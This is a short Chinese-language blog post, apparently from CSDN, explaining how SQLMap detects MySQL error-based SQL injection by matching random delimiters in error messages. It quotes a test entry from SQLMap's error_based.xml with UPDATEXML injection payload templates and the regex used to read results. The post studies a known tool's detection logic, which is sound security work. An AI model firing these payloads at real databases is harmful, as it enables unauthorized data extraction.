前言
结合网上的文章以及自己对源码的分析,总结一下sql注入的自动化检测.从最简单的报错注入开始.
什么是报错注入?
利用数据库的异常处理等机制,人为的制造错误的条件,使得查询结果能够出现在错误信息中.具体的详情参考以下.
MYSQL报错注入的一点总结 - 先知社区xz.aliyun.com![b87c1bb9c52f9bdf1a07437943ed2a19.png](https://i-blog.csdnimg.cn/blog_migrate/c14f1a455f805e63efe7a15e36e911a1.jpeg)
自动化的报错注入检测方式
SQLMap发送Payload,正则匹配以下位置:
- 返回内容
- 返回的错误信息
- 返回的Header
符合,即判断为sql注入漏洞
很简单的一个自动化注入方式,这边再顺便说一下它的payload的构成.查看error_based.xml.
<test>
<title>MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))</vector>
<request>
<!-- These work as good as ELT(), but are longer
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
-->
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.1</dbms_version>
</details>
</test>
(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])),该payload是其中的一个,sqlmap产生一个随机数字替换[RANDNUM],并产生随机字符串替换[DELIMITER_START],[DELIMITER_STOP],报错的结果如下:
![0689a533c92ae5ad8b3bab87a89cbcb0.png](https://i-blog.csdnimg.cn/blog_migrate/54da64ab882a7d771a8fbd14c0c86a2a.png)
sqlmap使用[DELIMITER_START](?P<result>*?)[DELIMITER_STOP]正则进行匹配.
最后
报错注入是sqlmap自动化检测比较简单的方式了,一个关键点就是采用随机数的方式进行正则匹配.以上个人理解.